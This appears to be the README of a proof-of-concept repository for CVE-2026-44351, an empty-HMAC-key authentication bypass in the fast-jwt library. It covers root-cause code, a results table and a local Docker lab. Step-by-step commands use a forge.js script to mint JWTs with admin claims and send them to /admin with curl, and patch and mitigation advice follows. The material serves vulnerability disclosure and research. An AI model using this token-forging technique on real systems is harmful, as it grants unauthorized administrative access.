| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391(密钥验证不当)/ CWE-287(身份验证不当)/ CWE-326(加密强度不足) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| 受影响版本 | fast-jwt < 6.2.4(已针对 6.2.3 验证) |
| 补丁 | [email protected] — 以 FAST_JWT_INVALID_KEY 拒绝空 HMAC 密钥 |
📄 详细技术文档(包含真实代码的根因分析、攻击剖析、补丁分析):
docs/CVE-2026-44351.md
fast-jwt 允许传入一个异步函数作为密钥解析器(key)——这是与 JWKS 服务器集成时的典型模式:
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
当传入令牌的 kid 不存在时,该模式返回 ''。fast-jwt 将空字符串转换为长度为零的 Buffer(Buffer.alloc(0)),将其传递给 crypto.createSecretKey(Node 会静默接受),并使用空密钥 HMAC 验证令牌签名。
由于 HMAC-SHA256(key='', input='<header>.<payload>') 任何人都可以计算,攻击者无需知道真实密钥:只需用任意声明(sub、admin、roles、scopes、iss、aud 等)伪造一个令牌,验证器就会将其返回为合法令牌。
仅影响异步密钥解析路径(函数)。同步配置
key: ''会被正确拒绝,因为createVerifier会对 falsy 值进行短路处理。
该漏洞位于 src/verifier.js。在 async key resolver 流程中:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
签名通过 src/crypto.js 进行验证:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) 可以正常工作,输入的 HMAC 可由攻击者计算,伪造的令牌被接受。
[email protected] 验证)| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ 接受 | ✅ 接受 | ✅ 接受 |
(d, cb) => cb(null, '') | (default) | ✅ 接受 | ✅ 接受 | ✅ 接受 |
async d => keys[d.header.kid] || '' | (default) | ✅ 接受 | ✅ 接受 | ✅ 接受 |
async () => '' | ['HS256','HS384','HS512'] | ✅ 接受 | ✅ 接受 | ✅ 接受 |
async () => '' | ['HS256','RS256'] | ✅ 接受 | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
攻击手动执行:唯一的工具是 forge.js,用于生成使用空密钥签名的 JWT。发送和验证使用 curl 完成。
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Docker 仅用于运行易受攻击的目标,不用于利用。 其余攻击均为手动操作。
识别应用程序的真实 JWT(例如从已认证的请求中获取),并在不验证签名的情况下检查其 header/payload:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
需要验证的要点:
kid → 应用程序通过 kid 解析密钥(可能是 JWKS)。kid 返回 401,但没有出现
invalid algo/invalid key,则解析器很可能执行了 keys[kid] || ''。node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
该脚本始终使用空密钥(secret: "")的 HMAC-SHA* 对选定的 header {alg, typ, kid} 和 payload 进行签名,无需知道应用程序的真实密钥。
复制令牌(或从文件中读取):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
如果目标存在漏洞,预期响应:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| 场景 | 命令 | 结果 |
|---|---|---|
| 无令牌 | curl -si http://localhost:3000/admin | 401 Unauthorized |
| 无效令牌 | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| 伪造令牌 | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + 管理员访问权限 |
该绕过可通过更改声明并重复步骤 2–3 来复现(后利用:提升至 role、scopes、其他 sub 等)。
易受攻击版本与已修补版本的快速对比:
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
也可在 Docker 中运行:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] 或更高版本:prepareKeyOrSecret 会以 FAST_JWT_INVALID_KEY 拒绝长度为零的 HMAC 密钥。''/Buffer.alloc(0) 作为回退值:
应返回 undefined/null,并将该情况视为密钥解析错误。cache: false:
验证缓存(默认 1000 条目 / 600 秒 TTL)可能保留之前被接受的伪造令牌。服务器还暴露了一个管理控制台(public/),使利用过程看起来像在真实应用上:企业登录、带声明的仪表板、管理员访问面板以及集成的红队视图。
node server.js # o de nuevo: docker compose up -d --build server
open http://localhost:3000
演示账户:
| Password | 角色 | |
|---|---|---|
[email protected] | admin123 | admin: true(超级管理员) |
[email protected] | user123 | admin: false(成员) |
该应用模拟一个合法的 SaaS:
POST /login 通过 createSigner 使用真实密钥(kid: legit-kid)签发 JWT——签名器不易受攻击。localStorage 中,并请求 GET /admin,该端点使用易受攻击的验证器。'' 的 HMAC-SHA256,RFC 2104——WebCrypto 不接受长度为零的密钥),或粘贴来自 node forge.js 的令牌并测试 /admin。使用 admin: true 时返回 200 OK → 无需离开浏览器即可确认绕过。前端仅为展示:漏洞本身不变(异步密钥解析器使用
keys[kid] || ''),README 中forge.js+curl的手动攻击流程仍然有效。
.
├── Dockerfile Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore Excluye node_modules del build context
├── package.json Dependencias: [email protected] (vulnerable)
├── server.js API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js Demo a nivel de librería contra [email protected] (vulnerable)
├── public/ Frontend "app real" (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│ └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
├── package.json Dependencias: [email protected] (parcheada)
└── demo.js Misma demo contra [email protected] (parcheado)
本材料仅供教育和安全研究目的。仅可对您自己的应用程序或在所有者书面授权的情况下使用该漏洞利用。未经授权对第三方系统使用此技术是违法的,使用者需自行承担全部责任。